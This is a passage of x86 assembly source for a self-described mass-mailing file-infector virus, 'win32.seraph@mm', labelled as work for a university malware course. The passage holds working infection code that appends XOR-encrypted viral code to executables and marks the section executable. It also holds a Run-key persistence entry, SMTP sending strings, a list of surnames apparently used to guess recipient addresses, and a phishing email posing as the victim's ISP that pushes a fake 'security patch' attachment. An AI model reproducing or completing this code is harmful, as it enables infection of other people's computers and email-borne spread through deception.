|
ApiCall WriteFile
|
|
|
|
; write the encrypted code to the file
|
|
mov ecx, CODE_SIZE - (offset encrypted - offset main)
|
|
xor esi, esi
|
|
encrypt:
|
|
push ecx
|
|
mov al, byte ptr [ebp+esi+encrypted]
|
|
xor al, 123
|
|
mov [ebp+cByte], al
|
|
push 0
|
|
pushptr dwNumberOfBytes
|
|
push 1
|
|
pushptr cByte
|
|
pushval hFile
|
|
ApiCall WriteFile
|
|
inc esi
|
|
pop ecx
|
|
loop encrypt
|
|
|
|
; update the virtual size of the section
|
|
add [ebp+sectionHeader.dwVirtualSize], ((CODE_SIZE + (1000h - 1)) AND 0FFFFF000h)
|
|
|
|
; update the size of raw data
|
|
add [ebp+sectionHeader.dwSizeOfRawData], ((CODE_SIZE + (200h - 1)) AND 0FFFFFE00h)
|
|
|
|
; make the section readable/writable/executable
|
|
mov [ebp+sectionHeader.dwCharacteristics], SECTION_RWE
|
|
|
|
; seek to the last section header
|
|
push FILE_BEGIN
|
|
push 0
|
|
pushval lpLastSectionHeader
|
|
pushval hFile
|
|
ApiCall SetFilePointer
|
|
|
|
; write the updated section header back to the file
|
|
push 0
|
|
pushptr dwNumberOfBytes
|
|
push size SECTION_HEADER
|
|
pushptr sectionHeader
|
|
pushval hFile
|
|
ApiCall WriteFile
|
|
|
|
; seek to the PE Header
|
|
push FILE_BEGIN
|
|
push 0
|
|
pushval dosHeader.lpPEHeader
|
|
pushval hFile
|
|
ApiCall SetFilePointer
|
|
|
|
; write the updated PE header back to the file
|
|
push 0
|
|
pushptr dwNumberOfBytes
|
|
push size PE_HEADER
|
|
pushptr peHeader
|
|
pushval hFile
|
|
ApiCall WriteFile
|
|
|
|
; update the file size to a multiple of 4096
|
|
push FILE_END
|
|
push 0
|
|
push 0
|
|
pushval hFile
|
|
ApiCall SetFilePointer
|
|
mov ebx, eax
|
|
add eax, (1000h - 1)
|
|
and eax, 0FFFFF000h
|
|
sub eax, ebx
|
|
mov ecx, eax
|
|
@@zeroFill:
|
|
jecxz @@attachSuccess
|
|
push ecx
|
|
push 0
|
|
pushptr dwNumberOfBytes
|
|
push 1
|
|
pushptr cZero
|
|
pushval hFile
|
|
ApiCall WriteFile
|
|
pop ecx
|
|
dec ecx
|
|
jmp @@zeroFill
|
|
|
|
@@attachSuccess:
|
|
|
|
; restore the return address
|
|
pop [ebp+lpReturnAddress]
|
|
|
|
; close the file handle
|
|
pushval hFile
|
|
ApiCall CloseHandle
|
|
|
|
; return success code
|
|
xor eax, eax
|
|
ret
|
|
|
|
@@attachFailure:
|
|
|
|
; restore the return address
|
|
pop [ebp+lpReturnAddress]
|
|
|
|
; return failure code
|
|
mov eax, -1
|
|
ret
|
|
|
|
AttachCode ENDP
|
|
|
|
;-------------------------------------------------------------------------------------------------;
|
|
; Data Section ;
|
|
;-------------------------------------------------------------------------------------------------;
|
|
|
|
; >:) im so evil, so so evil...
|
|
szSigntaure DB 'University of Calgary', CRLF
|
|
DB 'Semester: 4', CRLF
|
|
DB 'Course: Computer Viruses and Malware', CRLF
|
|
DB 'Virus Name: win32.seraph@mm', CRLF
|
|
DB 'Virus Type: Mass Mailer/File Infector', CRLF, 0
|
|
|
|
; date formating
|
|
szDateFormat DB 'MMMM, d, yyyy', 0
|
|
szYearFormat DB 'yyyy', 0
|
|
date SYSTEM_TIME <0>
|
|
|
|
; file finding data
|
|
szDrive DB 'A:\', 0
|
|
hFind DD 0
|
|
szSearchString DB '*.*', 0
|
|
szBackDir DB '..', 0
|
|
win32FindData WIN32_FIND_DATA <0>
|
|
|
|
; wininet data
|
|
dwConnectionState DD 0
|
|
hInternet DD 0
|
|
|
|
; SMTP data
|
|
szResponse DB 256 DUP(0)
|
|
szCommand DB 256 DUP(0)
|
|
dwTimeOut DD 0
|
|
hSock DD 0
|
|
szHeloPart1 DB 'HELO ', 0
|
|
szHeloPart2 DB CRLF, 0
|
|
szMailFromPart1 DB 'MAIL FROM: <news@', 0
|
|
szMailFromPart2 DB '>', CRLF, 0
|
|
szRcptTo DB 132 DUP(0)
|
|
szRcptToPart1 DB 'RCPT TO: <', 0
|
|
szRcptToPart2 DB '@', 0
|
|
szRcptToPart3 DB '>', CRLF, 0
|
|
szData DB 'DATA', CRLF, 0
|
|
szDot DB CRLF, '.', CRLF, 0
|
|
szQuit DB 'QUIT', CRLF, 0
|
|
threeBytes DB 0, 0, 0 ; holds 3 ascii bytes
|
|
fourBytes DB 0, 0, 0, 0 ; holds 3 base64 encoded bytes
|
|
szMailServer DB 132 DUP(0)
|
|
lpEmailMessage DD 0
|
|
szEmailAccount DB 25 DUP(0)
|
|
|
|
; registry data
|
|
szSubKey DB 'Software\Microsoft\Windows\CurrentVersion\Run', 0
|
|
hKey DD 0
|
|
szModuleName DB 256 DUP(0)
|
|
szValueName DB 'Start-Up', 0
|
|
|
|
; dynamic variables (vary from generation to generation)
|
|
lpReturnAddress DD 0
|
|
lpStartOfCode DD 0
|
|
lpImageBase DD 0
|
|
|
|
; DNS data
|
|
lpResults DD 0
|
|
dnsRecordHeader DNS_RECORD <0>
|
|
|
|
; PE data
|
|
peHeader PE_HEADER <0>
|
|
dosHeader DOS_HEADER <0>
|
|
sectionHeader SECTION_HEADER <0>
|
|
lpLastSectionHeader DD 0
|
|
lpCode DD 0
|
|
cZero DB 0
|
|
cByte DB 0
|
|
|
|
; thread data
|
|
hThread DD 0
|
|
dwThreadStatus DD 0
|
|
dwExitCode DD 0
|
|
|
|
; file I/O data
|
|
hFile DD 0
|
|
dwNumberOfBytes DD 0
|
|
|
|
; MISC data
|
|
wsaData WSA_DATA <0>
|
|
szArpa DB '.in-addr.arpa', 0
|
|
lpWebpage DD 0
|
|
dwWebpageSize DD 0
|
|
szWWW DB 'http://www.', 0
|
|
szUrl DB 132 DUP(0)
|
|
sockAddress SOCK_ADDRESS <0>
|
|
szIkxParameter DB ' /iKX', 0
|
|
szPatchName DB 'patch110.exe', 0
|
|
szPatchTitle DB 'Installation Complete!', 0
|
|
szPatchInstall DB 'Thankyou for installing the security patch version 1.10.', 0
|
|
szCurrentDirectory DB 256 DUP(0)
|
|
szSystemDirectory DB 257 DUP(0)
|
|
szSlash DB '\', 0
|
|
|
|
; collected data
|
|
szHostName DB 132 DUP(0)
|
|
szReverseIP DB 29 DUP(0)
|
|
szIspDomainName DB 132 DUP(0)
|
|
szIspWebpage DB 132 DUP (0)
|
|
szLogoUrl DB 132 DUP(0)
|
|
szIspName DB 25 DUP(0)
|
|
szDeadLine DB 25 DUP(0)
|
|
szYear DB 5 DUP(0)
|
|
|
|
; dll data
|
|
lpKernel32 DD 0
|
|
szLoadLibraryA DB 'LoadLibraryA', 0
|
|
LoadLibraryA DD 0
|
|
GetProcAddress DD 0
|
|
|
|
; email message
|
|
szEmailPart1 DB 'From: news@', 0
|
|
szEmailPart2 DB CRLF
|
|
DB 'To: ', 0
|
|
szEmailPart3 DB '@', 0
|
|
szEmailPart4 DB CRLF
|
|
DB 'Subject: Important information involving your ', 0
|
|
szEmailPart5 DB ' Internet account.', CRLF
|
|
DB 'MIME-Version: 1.0', CRLF
|
|
DB 'Content-Type: multipart/mixed; boundary="Boundary.11111111.11111111"', CRLF
|
|
DB CRLF
|
|
DB 'This is a multipart message in MIME format.', CRLF
|
|
DB CRLF
|
|
DB '--Boundary.11111111.11111111', CRLF
|
|
DB 'Content-Type: text/html', CRLF
|
|
DB CRLF
|
|
DB '<html>', CRLF
|
|
DB '<body bgcolor = "white">', CRLF
|
|
DB '<table align = center width = 400 border = 1 cellspacing = 0 cellpadding = 0 bordercolor = 0>', CRLF
|
|
DB '<tr>', CRLF
|
|
DB '<td>', CRLF
|
|
DB '<table border = 0 cellspacing = 5 cellpadding = 5 width = 100%>', CRLF
|
|
DB '<tr>', CRLF
|
|
DB '<td>', CRLF
|
|
DB '<center><img src = "', 0
|
|
szEmailPart6 DB '"></center>', CRLF
|
|
DB '<p>', CRLF
|
|
DB '<font face="Arial, Helvetica, sans-serif" size="2">', CRLF
|
|
DB 'Dear ', 0
|
|
szEmailPart7 DB ' customer<p>', CRLF
|
|
DB 'We at ', 0
|
|
szEmailPart8 DB ' have been working hard at increasing the reliability and security of our service. '
|
|
DB 'To date the following changes have been made:<p>', CRLF
|
|
DB '<ul>', CRLF
|
|
DB '<li>All emails sent to your ', 0
|
|
szEmailPart9 DB ' email account are now screened for viruses and other malware.<p></li>', CRLF
|
|
DB '<li>A virtual firewall has been set up to protect your system from attacks by hackers.<p></li>', CRLF
|
|
DB '<li>A new update is available to protect your computer while online. (Read more below)<p></li>', CRLF
|
|
DB '</ul>', CRLF
|
|
DB 'All ', 0
|
|
szEmailPart10 DB ' customers are required to install our latest security update attached to this email. '
|
|
DB 'It contains a series of patches from Microsoft, Norton and McAffee that will protect '
|
|
DB 'your computer and us from attacks. All ', 0
|
|
szEmailPart11 DB ' customers MUST have this patch installed by <b>', 0
|
|
szEmailPart12 DB '</b>. Failure to do so will result in disconnection of this Internet service. If you '
|
|
DB 'require assistence or have any questions contact us at <a href = "mailto:info@', 0
|
|
szEmailPart13 DB '">info@', 0
|
|
szEmailPart14 DB '</a>.<p>', CRLF
|
|
DB '</font>', CRLF
|
|
DB '<center><font color = "555555">© ', 0
|
|
szEmailPart15 DB ' ', 0
|
|
szEmailPart16 DB ' Inc.</font></center>', CRLF
|
|
DB '</td>', CRLF
|
|
DB '</tr>', CRLF
|
|
DB '</table>', CRLF
|
|
DB '</td>', CRLF
|
|
DB '</tr>', CRLF
|
|
DB '</table>', CRLF
|
|
DB '</body>', CRLF
|
|
DB '</html>', CRLF
|
|
DB CRLF
|
|
DB '--Boundary.11111111.11111111', CRLF
|
|
DB 'Content-Type: application/x-msdownload; name="patch110.exe"', CRLF
|
|
DB 'Content-Transfer-Encoding: base64', CRLF
|
|
DB 'Content-Description: patch110.exe', CRLF
|
|
DB 'Content-Disposition: attachment; filename="patch110.exe"', CRLF
|
|
DB CRLF
|
|
DB 0
|
|
szEmailPart17 DB CRLF
|
|
DB '--Boundary.11111111.11111111--', CRLF
|
|
DB CRLF
|
|
DB '.', CRLF
|
|
DB 0
|
|
|
|
lastnames DB 'SMITH',0,'JOHNSON',0,'WILLIAMS',0,'JONES',0,'BROWN',0,'DAVIS',0,'MILLER',0,'WILSON',0
|
|
DB 'MOORE',0,'TAYLOR',0,'ANDERSON',0,'THOMAS',0,'JACKSON',0,'WHITE',0,'HARRIS',0,'MARTIN',0
|
|
DB 'THOMPSON',0,'GARCIA',0,'MARTINEZ',0,'ROBINSON',0,'CLARK',0,'RODRIGUEZ',0,'LEWIS',0
|
|
DB 'LEE',0,'WALKER',0,'HALL',0,'ALLEN',0,'YOUNG',0,'HERNANDEZ',0,'KING',0,'WRIGHT',0
|
|
DB 'LOPEZ',0,'HILL',0,'SCOTT',0,'GREEN',0,'ADAMS',0,'BAKER',0,'GONZALEZ',0,'NELSON',0
|
|
DB 'CARTER',0,'MITCHELL',0,'PEREZ',0,'ROBERTS',0,'TURNER',0,'PHILLIPS',0,'CAMPBELL',0
|
|
DB 'PARKER',0,'EVANS',0,'EDWARDS',0,'COLLINS',0,'STEWART',0,'SANCHEZ',0,'MORRIS',0
|
|
DB 'ROGERS',0,'REED',0,'COOK',0,'MORGAN',0,'BELL',0,'MURPHY',0,'BAILEY',0,'RIVERA',0
|
|
DB 'COOPER',0,'RICHARDSON',0,'COX',0,'HOWARD',0,'WARD',0,'TORRES',0,'PETERSON',0,'GRAY',0
|
|
DB 'RAMIREZ',0,'JAMES',0,'WATSON',0,'BROOKS',0,'KELLY',0,'SANDERS',0,'PRICE',0,'BENNETT',0
|
|
DB 'WOOD',0,'BARNES',0,'ROSS',0,'HENDERSON',0,'COLEMAN',0,'JENKINS',0,'PERRY',0,'POWELL',0
|
|
DB 'LONG',0,'PATTERSON',0,'HUGHES',0,'FLORES',0,'WASHINGTON',0,'BUTLER',0,'SIMMONS',0
|
|
DB 'FOSTER',0,'GONZALES',0,'BRYANT',0,'ALEXANDER',0,'RUSSELL',0,'GRIFFIN',0,'DIAZ',0
|
|
DB 'HAYES',0,'MYERS',0,'FORD',0,'HAMILTON',0,'GRAHAM',0,'SULLIVAN',0,'WALLACE',0,'WOODS',0
|
|
DB 'COLE',0,'WEST',0,'JORDAN',0,'OWENS',0,'REYNOLDS',0,'FISHER',0,'ELLIS',0,'HARRISON',0
|
|
DB 'GIBSON',0,'MCDONALD',0,'CRUZ',0,'MARSHALL',0,'ORTIZ',0,'GOMEZ',0,'MURRAY',0,'FREEMAN',0
|
|
DB 'WELLS',0,'WEBB',0,'SIMPSON',0,'STEVENS',0,'TUCKER',0,'PORTER',0,'HUNTER',0,'HICKS',0
|
|
DB 'CRAWFORD',0,'HENRY',0,'BOYD',0,'MASON',0,'MORALES',0,'KENNEDY',0,'WARREN',0,'DIXON',0
|
|
DB 'RAMOS',0,'REYES',0,'BURNS',0,'GORDON',0,'SHAW',0,'HOLMES',0,'RICE',0,'ROBERTSON',0
|
|
DB 'HUNT',0,'BLACK',0,'DANIELS',0,'PALMER',0,'MILLS',0,'NICHOLS',0,'GRANT',0,'KNIGHT',0
|
|
DB 'FERGUSON',0,'ROSE',0,'STONE',0,'HAWKINS',0,'DUNN',0,'PERKINS',0,'HUDSON',0,'SPENCER',0
|
|
DB 'GARDNER',0,'STEPHENS',0,'PAYNE',0,'PIERCE',0,'BERRY',0,'MATTHEWS',0,'ARNOLD',0
|
|
DB 'WAGNER',0,'WILLIS',0,'RAY',0,'WATKINS',0,'OLSON',0,'CARROLL',0,'DUNCAN',0,'SNYDER',0
|
|
DB 'HART',0,'CUNNINGHAM',0,'BRADLEY',0,'LANE',0,'ANDREWS',0,'RUIZ',0,'HARPER',0,'FOX',0
|
|
DB 'RILEY',0,'ARMSTRONG',0,'CARPENTER',0,'WEAVER',0,'GREENE',0,'LAWRENCE',0,'ELLIOTT',0
|
|
DB 'CHAVEZ',0,'SIMS',0,'AUSTIN',0,'PETERS',0,'KELLEY',0,'FRANKLIN',0,'LAWSON',0,'FIELDS',0
|
|
DB 'GUTIERREZ',0,'RYAN',0,'SCHMIDT',0,'CARR',0,'VASQUEZ',0,'CASTILLO',0,'WHEELER',0
|
|
DB 'CHAPMAN',0,'OLIVER',0,'MONTGOMERY',0,'RICHARDS',0,'WILLIAMSON',0,'JOHNSTON',0,'BANKS',0
|
|
DB 'MEYER',0,'BISHOP',0,'MCCOY',0,'HOWELL',0,'ALVAREZ',0,'MORRISON',0,'HANSEN',0
|
|
DB 'FERNANDEZ',0,'GARZA',0,'HARVEY',0,'LITTLE',0,'BURTON',0,'STANLEY',0,'NGUYEN',0
|
|
DB 'GEORGE',0,'JACOBS',0,'REID',0,'KIM',0,'FULLER',0,'LYNCH',0,'DEAN',0,'GILBERT',0
|
|
DB 'GARRETT',0,'ROMERO',0,'WELCH',0,'LARSON',0,'FRAZIER',0,'BURKE',0,'HANSON',0,'DAY',0
|
|
DB 'MENDOZA',0,'MORENO',0,'BOWMAN',0,'MEDINA',0,'FOWLER',0,'BREWER',0,'HOFFMAN',0
|
|
DB 'CARLSON',0,'SILVA',0,'PEARSON',0,'HOLLAND',0,'DOUGLAS',0,'FLEMING',0,'JENSEN',0
|
|
DB 'VARGAS',0,'BYRD',0,'DAVIDSON',0,'HOPKINS',0,'MAY',0,'TERRY',0,'HERRERA',0,'WADE',0
|
|
DB 'SOTO',0,'WALTERS',0,'CURTIS',0,'NEAL',0,'CALDWELL',0,'LOWE',0,'JENNINGS',0,'BARNETT',0
|
|
DB 'GRAVES',0,'JIMENEZ',0,'HORTON',0,'SHELTON',0,'BARRETT',0,'OBRIEN',0,'CASTRO',0
|
|
DB 'SUTTON',0,'GREGORY',0,'MCKINNEY',0,'LUCAS',0,'MILES',0,'CRAIG',0,'RODRIQUEZ',0
|
|
DB 'CHAMBERS',0,'HOLT',0,'LAMBERT',0,'FLETCHER',0,'WATTS',0,'BATES',0,'HALE',0,'RHODES',0
|
|
DB 'PENA',0,'BECK',0,'NEWMAN',0,'HAYNES',0,'MCDANIEL',0,'MENDEZ',0,'BUSH',0,'VAUGHN',0
|
|
DB 'PARKS',0,'DAWSON',0,'SANTIAGO',0,'NORRIS',0,'HARDY',0,'LOVE',0,'STEELE',0,'CURRY',0
|
|
DB 'POWERS',0,'SCHULTZ',0,'BARKER',0,'GUZMAN',0,'PAGE',0,'MUNOZ',0,'BALL',0,'KELLER',0
|
|
DB 'CHANDLER',0,'WEBER',0,'LEONARD',0,'WALSH',0,'LYONS',0,'RAMSEY',0,'WOLFE',0
|
|
DB 'SCHNEIDER',0,'MULLINS',0,'BENSON',0,'SHARP',0,'BOWEN',0,'DANIEL',0,'BARBER',0
|
|
DB 'CUMMINGS',0,'HINES',0,'BALDWIN',0,'GRIFFITH',0,'VALDEZ',0,'HUBBARD',0,'SALAZAR',0
|
|
DB 'REEVES',0,'WARNER',0,'STEVENSON',0,'BURGESS',0,'SANTOS',0,'TATE',0,'CROSS',0,'GARNER',0
|
|
DB 'MANN',0,'MACK',0,'MOSS',0,'THORNTON',0,'DENNIS',0,'MCGEE',0,'FARMER',0,'DELGADO',0
|
|
DB 'AGUILAR',0,'VEGA',0,'GLOVER',0,'MANNING',0,'COHEN',0,'HARMON',0,'RODGERS',0,'ROBBINS',0
|
|
DB 'NEWTON',0,'TODD',0,'BLAIR',0,'HIGGINS',0,'INGRAM',0,'REESE',0,'CANNON',0,'STRICKLAND',0
|
|
DB 'TOWNSEND',0,'POTTER',0,'GOODWIN',0,'WALTON',0,'ROWE',0,'HAMPTON',0,'ORTEGA',0
|
|
DB 'PATTON',0,'SWANSON',0,'JOSEPH',0,'FRANCIS',0,'GOODMAN',0,'MALDONADO',0,'YATES',0
|
|
DB 'BECKER',0,'ERICKSON',0,'HODGES',0,'RIOS',0,'CONNER',0,'ADKINS',0,'WEBSTER',0
|
|
DB 'NORMAN',0,'MALONE',0,'HAMMOND',0,'FLOWERS',0,'COBB',0,'MOODY',0,'QUINN',0,'BLAKE',0
|
|
DB 'MAXWELL',0,'POPE',0,'FLOYD',0,'OSBORNE',0,'PAUL',0,'MCCARTHY',0,'GUERRERO',0,'LINDSEY',0
|
|
DB 'ESTRADA',0,'SANDOVAL',0,'GIBBS',0,'TYLER',0,'GROSS',0,'FITZGERALD',0,'STOKES',0
|
|
DB 'DOYLE',0,'SHERMAN',0,'SAUNDERS',0,'WISE',0,'COLON',0,'GILL',0,'ALVARADO',0,'GREER',0
|
|
DB 'PADILLA',0,'SIMON',0,'WATERS',0,'NUNEZ',0,'BALLARD',0,'SCHWARTZ',0,'MCBRIDE',0
|
|
DB 'HOUSTON',0,'CHRISTENSEN',0,'KLEIN',0,'PRATT',0,'BRIGGS',0,'PARSONS',0,'MCLAUGHLIN',0
|
|
DB 'ZIMMERMAN',0,'FRENCH',0,'BUCHANAN',0,'MORAN',0,'COPELAND',0,'ROY',0,'PITTMAN',0
|
|
DB 'BRADY',0,'MCCORMICK',0,'HOLLOWAY',0,'BROCK',0,'POOLE',0,'FRANK',0,'LOGAN',0,'OWEN',0
|
|
DB 'BASS',0,'MARSH',0,'DRAKE',0,'WONG',0,'JEFFERSON',0,'PARK',0,'MORTON',0,'ABBOTT',0
|
|
DB 'SPARKS',0,'PATRICK',0,'NORTON',0,'HUFF',0,'CLAYTON',0,'MASSEY',0,'LLOYD',0
|
|
DB 'FIGUEROA',0,'CARSON',0,'BOWERS',0,'ROBERSON',0,'BARTON',0,'TRAN',0,'LAMB',0
|
|
DB 'HARRINGTON',0,'CASEY',0,'BOONE',0,'CORTEZ',0,'CLARKE',0,'MATHIS',0,'SINGLETON',0
|
|
DB 'WILKINS',0,'CAIN',0,'BRYAN',0,'UNDERWOOD',0,'HOGAN',0,'MCKENZIE',0,'COLLIER',0,'LUNA',0
|
|
DB 'PHELPS',0,'MCGUIRE',0,'ALLISON',0,'BRIDGES',0,'WILKERSON',0,'NASH',0,'SUMMERS',0
|
|
DB 'ATKINS',0,'WILCOX',0,'PITTS',0,'CONLEY',0,'MARQUEZ',0,'BURNETT',0,'RICHARD',0
|
|
DB 'COCHRAN',0,'CHASE',0,'DAVENPORT',0,'HOOD',0,'GATES',0,'CLAY',0,'AYALA',0,'SAWYER',0
|
|
DB 'ROMAN',0,'VAZQUEZ',0,'DICKERSON',0,'HODGE',0,'ACOSTA',0,'FLYNN',0,'ESPINOZA',0
|
|
DB 'NICHOLSON',0,'MONROE',0,'WOLF',0,'MORROW',0,'KIRK',0,'RANDALL',0,'ANTHONY',0
|
|
DB 'WHITAKER',0,'OCONNOR',0,'SKINNER',0,'WARE',0,'MOLINA',0,'KIRBY',0,'HUFFMAN',0
|
|
DB 'BRADFORD',0,'CHARLES',0,'GILMORE',0,'DOMINGUEZ',0,'ONEAL',0,'BRUCE',0,'LANG',0
|
|
DB 'COMBS',0,'KRAMER',0,'HEATH',0,'HANCOCK',0,'GALLAGHER',0,'GAINES',0,'SHAFFER',0
|
|
DB 'SHORT',0,'WIGGINS',0,'MATHEWS',0,'MCCLAIN',0,'FISCHER',0,'WALL',0,'SMALL',0,'MELTON',0
|
|
DB 'HENSLEY',0,'BOND',0,'DYER',0,'CAMERON',0,'GRIMES',0,'CONTRERAS',0,'CHRISTIAN',0
|
|
DB 'WYATT',0,'BAXTER',0,'SNOW',0,'MOSLEY',0,'SHEPHERD',0,'LARSEN',0,'HOOVER',0,'BEASLEY',0
|
|
DB 'GLENN',0,'PETERSEN',0,'WHITEHEAD',0,'MEYERS',0,'KEITH',0,'GARRISON',0,'VINCENT',0
|
|
DB 'SHIELDS',0,'HORN',0,'SAVAGE',0,'OLSEN',0,'SCHROEDER',0,'HARTMAN',0,'WOODARD',0
|
|
DB 'MUELLER',0,'KEMP',0,'DELEON',0,'BOOTH',0,'PATEL',0,'CALHOUN',0,'WILEY',0,'EATON',0
|
|
DB 'CLINE',0,'NAVARRO',0,'HARRELL',0,'LESTER',0,'HUMPHREY',0,'PARRISH',0,'DURAN',0
|
|
DB 'HUTCHINSON',0,'HESS',0,'DORSEY',0,'BULLOCK',0,'ROBLES',0,'BEARD',0,'DALTON',0
|
|
DB 'AVILA',0,'VANCE',0,'RICH',0,'BLACKWELL',0,'YORK',0,'JOHNS',0,'BLANKENSHIP',0
|
|
DB 'TREVINO',0,'SALINAS',0,'CAMPOS',0,'PRUITT',0,'MOSES',0,'CALLAHAN',0,'GOLDEN',0
|
|
DB 'MONTOYA',0,'HARDIN',0,'GUERRA',0,'MCDOWELL',0,'CAREY',0,'STAFFORD',0,'GALLEGOS',0
|
|
DB 'HENSON',0,'WILKINSON',0,'BOOKER',0,'MERRITT',0,'MIRANDA',0,'ATKINSON',0,'ORR',0
|
|
DB 'DECKER',0,'HOBBS',0,'PRESTON',0,'TANNER',0,'KNOX',0,'PACHECO',0,'STEPHENSON',0
|
|
DB 'GLASS',0,'ROJAS',0,'SERRANO',0,'MARKS',0,'HICKMAN',0,'ENGLISH',0,'SWEENEY',0
|
|
DB 'STRONG',0,'PRINCE',0,'MCCLURE',0,'CONWAY',0,'WALTER',0,'ROTH',0,'MAYNARD',0,'FARRELL',0
|
|
DB 'LOWERY',0,'HURST',0,'NIXON',0,'WEISS',0,'TRUJILLO',0,'ELLISON',0,'SLOAN',0,'JUAREZ',0
|
|
DB 'WINTERS',0,'MCLEAN',0,'RANDOLPH',0,'LEON',0,'BOYER',0,'VILLARREAL',0,'MCCALL',0
|
|
DB 'GENTRY',0,'CARRILLO',0,'KENT',0,'AYERS',0,'LARA',0,'SHANNON',0,'SEXTON',0,'PACE',0
|
|
DB 'HULL',0,'LEBLANC',0,'BROWNING',0,'VELASQUEZ',0,'LEACH',0,'CHANG',0,'HOUSE',0,'SELLERS',0
|
|
DB 'HERRING',0,'NOBLE',0,'FOLEY',0,'BARTLETT',0,'MERCADO',0,'LANDRY',0,'DURHAM',0,'WALLS',0
|
|
DB 'BARR',0,'MCKEE',0,'BAUER',0,'RIVERS',0,'EVERETT',0,'BRADSHAW',0,'PUGH',0,'VELEZ',0
|
|
DB 'RUSH',0,'ESTES',0,'DODSON',0,'MORSE',0,'SHEPPARD',0,'WEEKS',0,'CAMACHO',0,'BEAN',0
|
|
DB 'BARRON',0,'LIVINGSTON',0,'MIDDLETON',0,'SPEARS',0,'BRANCH',0,'BLEVINS',0,'CHEN',0
|
|
DB 'KERR',0,'MCCONNELL',0,'HATFIELD',0,'HARDING',0,'ASHLEY',0,'SOLIS',0,'HERMAN',0,'FROST',0
|
|
DB 'GILES',0,'BLACKBURN',0,'WILLIAM',0,'PENNINGTON',0,'WOODWARD',0,'FINLEY',0,'MCINTOSH',0
|
|
DB 'KOCH',0,'BEST',0,'SOLOMON',0,'MCCULLOUGH',0,'DUDLEY',0,'NOLAN',0,'BLANCHARD',0,'RIVAS',0
|
|
DB 'BRENNAN',0,'MEJIA',0,'KANE',0,'BENTON',0,'JOYCE',0,'BUCKLEY',0,'HALEY',0,'VALENTINE',0
|
|
DB 'MADDOX',0,'RUSSO',0,'MCKNIGHT',0,'BUCK',0,'MOON',0,'MCMILLAN',0,'CROSBY',0,'BERG',0
|
|
DB 'DOTSON',0,'MAYS',0,'ROACH',0,'CHURCH',0,'CHAN',0,'RICHMOND',0,'MEADOWS',0,'FAULKNER',0
|
|
DB 'ONEILL',0,'KNAPP',0,'KLINE',0,'BARRY',0,'OCHOA',0,'JACOBSON',0,'GAY',0,'AVERY',0
|
|
DB 'HENDRICKS',0,'HORNE',0,'SHEPARD',0,'HEBERT',0,'CHERRY',0,'CARDENAS',0,'MCINTYRE',0
|
|
DB 'WHITNEY',0,'WALLER',0,'HOLMAN',0,'DONALDSON',0,'CANTU',0,'TERRELL',0,'MORIN',0
|
|
DB 'GILLESPIE',0,'FUENTES',0,'TILLMAN',0,'SANFORD',0,'BENTLEY',0,'PECK',0,'KEY',0,'SALAS',0
|
|
DB 'ROLLINS',0,'GAMBLE',0,'DICKSON',0,'BATTLE',0,'SANTANA',0,'CABRERA',0,'CERVANTES',0
|
|
DB 'HOWE',0,'HINTON',0,'HURLEY',0,'SPENCE',0,'ZAMORA',0,'YANG',0,'MCNEIL',0,'SUAREZ',0
|
|
DB 'CASE',0,'PETTY',0,'GOULD',0,'MCFARLAND',0,'SAMPSON',0,'CARVER',0,'BRAY',0,'ROSARIO',0
|
|
DB 'MACDONALD',0,'STOUT',0,'HESTER',0,'MELENDEZ',0,'DILLON',0,'FARLEY',0,'HOPPER',0
|
|
DB 'GALLOWAY',0,'POTTS',0,'BERNARD',0,'JOYNER',0,'STEIN',0,'AGUIRRE',0,'OSBORN',0,'MERCER',0
|
|
DB 'BENDER',0,'FRANCO',0,'ROWLAND',0,'SYKES',0,'BENJAMIN',0,'TRAVIS',0,'PICKETT',0,'CRANE',0
|
|
DB 'SEARS',0,'MAYO',0,'DUNLAP',0,'HAYDEN',0,'WILDER',0,'MCKAY',0,'COFFEY',0,'MCCARTY',0
|
|
DB 'EWING',0,'COOLEY',0,'VAUGHAN',0,'BONNER',0,'COTTON',0,'HOLDER',0,'STARK',0,'FERRELL',0
|
|
DB 'CANTRELL',0,'FULTON',0,'LYNN',0,'LOTT',0,'CALDERON',0,'ROSA',0,'POLLARD',0,'HOOPER',0
|
|
DB 'BURCH',0,'MULLEN',0,'FRY',0,'RIDDLE',0,'LEVY',0,'DAVID',0,'DUKE',0,'ODONNELL',0,'GUY',0
|
|
DB 'MICHAEL',0,'BRITT',0,'FREDERICK',0,'DAUGHERTY',0,'BERGER',0,'DILLARD',0,'ALSTON',0
|
|
DB 'JARVIS',0,'FRYE',0,'RIGGS',0,'CHANEY',0,'ODOM',0,'DUFFY',0,'FITZPATRICK',0,'VALENZUELA',0
|
|
DB 'MERRILL',0,'MAYER',0,'ALFORD',0,'MCPHERSON',0,'ACEVEDO',0,'DONOVAN',0,'BARRERA',0
|
|
DB 'ALBERT',0,'COTE',0,'REILLY',0,'COMPTON',0,'RAYMOND',0,'MOONEY',0,'MCGOWAN',0,'CRAFT',0
|
|
DB 'CLEVELAND',0,'CLEMONS',0,'WYNN',0,'NIELSEN',0,'BAIRD',0,'STANTON',0,'SNIDER',0
|
|
DB 'ROSALES',0,'BRIGHT',0,'WITT',0,'STUART',0,'HAYS',0,'HOLDEN',0,'RUTLEDGE',0,'KINNEY',0
|
|
DB 'CLEMENTS',0,'CASTANEDA',0,'SLATER',0,'HAHN',0,'EMERSON',0,'CONRAD',0,'BURKS',0
|
|
DB 'DELANEY',0,'PATE',0,'LANCASTER',0,'SWEET',0,'JUSTICE',0,'TYSON',0,'SHARPE',0
|
|
DB 'WHITFIELD',0,'TALLEY',0,'MACIAS',0,'IRWIN',0,'BURRIS',0,'RATLIFF',0,'MCCRAY',0,'MADDEN',0
|
|
DB 'KAUFMAN',0,'BEACH',0,'GOFF',0,'CASH',0,'BOLTON',0,'MCFADDEN',0,'LEVINE',0,'GOOD',0
|
|
DB 'BYERS',0,'KIRKLAND',0,'KIDD',0,'WORKMAN',0,'CARNEY',0,'DALE',0,'MCLEOD',0,'HOLCOMB',0
|
|
DB 'ENGLAND',0,'FINCH',0,'HEAD',0,'BURT',0,'HENDRIX',0,'SOSA',0,'HANEY',0,'FRANKS',0
|
|
DB 'SARGENT',0,'NIEVES',0,'DOWNS',0,'RASMUSSEN',0,'BIRD',0,'HEWITT',0,'LINDSAY',0,'LE',0
|
|
DB 'FOREMAN',0,'VALENCIA',0,'ONEIL',0,'DELACRUZ',0,'VINSON',0,'DEJESUS',0,'HYDE',0
|
|
DB 'FORBES',0,'GILLIAM',0,'GUTHRIE',0,'WOOTEN',0,'HUBER',0,'BARLOW',0,'BOYLE',0,'MCMAHON',0
|
|
